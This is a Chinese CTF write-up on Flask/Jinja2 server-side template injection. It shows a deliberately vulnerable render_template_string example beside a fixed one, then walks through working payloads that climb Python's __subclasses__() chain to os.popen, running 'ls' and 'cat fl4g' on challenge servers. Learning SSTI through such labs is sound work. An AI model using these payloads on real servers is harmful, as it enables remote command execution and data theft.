Web_python_template_injection
知识点
flask框架
python中编写的主流web框架有Django、Tornado、Flask、Twisted。这里主要介绍flask框架。
先看一段代码
from flask import Flask
app = Flask(__name__)
@app.route('/')
def index():
return 'Hello World'
app.run()
route装饰器的作用是将函数与url绑定起来。例子中的代码的作用就是当你访问http://127.0.0.1:5000/index的时候,flask会返回hello world。
flask框架是基于Jinjia2模板引擎实现的。代码:
from flask import Flask
from flask import render_template
app = Flask(__name__)
@app.route('/hello')
@app.route('/hello/')
def hello(name=None):
return render_template('hello.html', name=name)
app.run()
这段代码”hello()”函数并不是直接返回字符串,而是调用了”render_template()”方法来渲染模板。方法的第一个参数”hello.html”指向你想渲染的模板名称,第二个参数”name”是你要传到模板去的变量,变量可以传多个。
那么这个模板”hello.html”在哪儿呢,变量参数又该怎么用呢?接下来我们创建模板文件。在当前目录下,创建一个子目录”templates”(注意,一定要使用这个名字)。然后在”templates”目录下创建文件”hello.html”,内容如下:
Hello Sample{% if name %}
Hello {{ name }}!
{% else %}
Hello World!
{% endif %}
接触过其他模板引擎的朋友们肯定立马秒懂了这段代码。它就是一个HTML模板,根据”name”变量的值,显示不同的内容。变量或表达式由”{{ }}”修饰,而控制语句由”{% %}”修饰,其他的代码,就是我们常见的HTML。让我们打开浏览器,输入”http://localhost:5000/hello/man”,页面上即显示大标题”Hello man!”。我们再看下页面源代码
Hello from FlaskHello man!
果然,模板代码进入了”Hello {{ name }}!”分支,而且变量”{{ name }}”被替换为了”man”。就实现了不同的用户呈现的内容(如,用户名,个人信息)啥的不同。Jinja2的模板引擎还有更多强大的功能,包括for循环,过滤器等。模板里也可以直接访问内置对象如request, session等。
以上内容参考博客
python中flask模板注入
flask模板中含有render_template_string,和render_template,前者用来渲染字符串,后者用来渲染模板。不正确的使用flask中的render_template_string方法会引发SSTI。
漏洞代码
from flask import Flask
from flask import render_template_string
from flask import request
app = Flask(__name__)
@app.route("/")
def test():
code = request.args.get('id')
html='
%s
'%codereturn render_template_string(html)
app.run()
代码中的id参数是用户可控的,并且是对直接对模板进行控制,简单说就是先填充好变量,再进行渲染,这时就会造成漏洞
构造
?id=
可以看到
xss代码直接插入了页面中,进行了xss攻击,事实上可以进行的不止xss攻击。
正确代码
from flask import Flask
from flask import render_template_string
from flask import request
app = Flask(__name__)
@app.route("/")
def test():
code1 = request.args.get('id')
html='
{{code}}
'return render_template_string(html,code=code1)
app.run()
可以看到
xss语句并没有被执行,原因在于render_template_string函数会对变量中的内容进行实体转义,返回的是一个字符串而不是html文档,这里可能有点难理解,简单说正确代码是直接用变量去代替Jinja2的{{code}}内容,用户可以控制的是变量而不是模板。
思路
先随便构造
URL http://220.249.52.133:47213/1111
然后发现返回的是
URL http://220.249.52.133:47213/1111 not found
这说明构造的payload可能会显示在页面中
测试是否有模板注入漏洞
http://111.198.29.45:46675/{{7*7}}
服务器返回
URL http://111.198.29.45:46675/49 not found
说明7*7被成功执行,存在模板注入漏洞。
接下来,开始想办法编代码拿到服务器的控制台权限
看了师傅们的文章,是通过python的对象的继承来一步步实现文件读取和命令执行的的。顺着师傅们的思路,再理一遍。
找到父类-->寻找子类(引用)-->找关于命令执行或者文件操作的模块(引用中有模块)。
题目告诉我们这是一个python注入问题,那么脚本肯定也是python的,思考怎样用python语句获取控制台权限:想到了os.system和os.popen(参考资料),这两句前者返回退出状态码,后者以file形式返回输出内容,我们想要的是内容,所以选择os.popen
__class__ //返回对象所属的类
__mro__ //返回一个类所继承的基类
__base__ //返回该类所继承的基类
//__mro__和__base__都是寻找该类继承的基类
__subclasses__() //返回基类可用引用
__init__ //类的初始化方法
__globals__ //对包含函数全局变量的字典的引用
首先找到当前变量所在的类
http://220.249.52.133:47213/{{''.__class__}}
返回 URL http://220.249.52.133:47213/ not found
找object父类
http://220.249.52.133:47213/{{''.__class__.__mro__}}
返回 URL http://220.249.52.133:47213/(, , ) not found
找object可用引用
http://220.249.52.133:47213/{{''.__class__.__mro__[2].__subclasses__()}}
返回:一大堆可用引用,从其中可以找到我们想要的os所在的site._Printer类,它在列表的第七十二位,即__subclasses__()[71]
利用os模块读取目录
http://220.249.52.133:47213/{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
返回 URL http://220.249.52.133:47213/fl4g index.py not found
读取fl4g中内容
http://220.249.52.133:47213/{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()}}
http://220.249.52.133:47213/{{''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}
[40]号可用引用是file
常用payload还有
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')返回的是状态码,我们要结合curl命令,可(参考资料)
参考:xctf中write up